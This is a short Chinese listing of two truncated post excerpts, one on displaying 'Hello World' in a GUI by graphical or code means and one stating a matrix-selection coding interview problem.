1. 创建Hello Word 两种方式,实现helloworld: 1.通过图形化的方式,在界面上创建出一个控件,显示helloworld 2.通过纯代码的方式,通过编写代码,在界面上创建控件, 显示hello world; …...
【大厂机试题解法笔记】矩阵匹配
题目 从一个 N * M(N ≤ M)的矩阵中选出 N 个数,任意两个数字不能在同一行或同一列,求选出来的 N 个数中第 K 大的数字的最小值是多少。 输入描述 输入矩阵要求:1 ≤ K ≤ N ≤ M ≤ 150 输入格式 N M K N*M矩阵 输…...
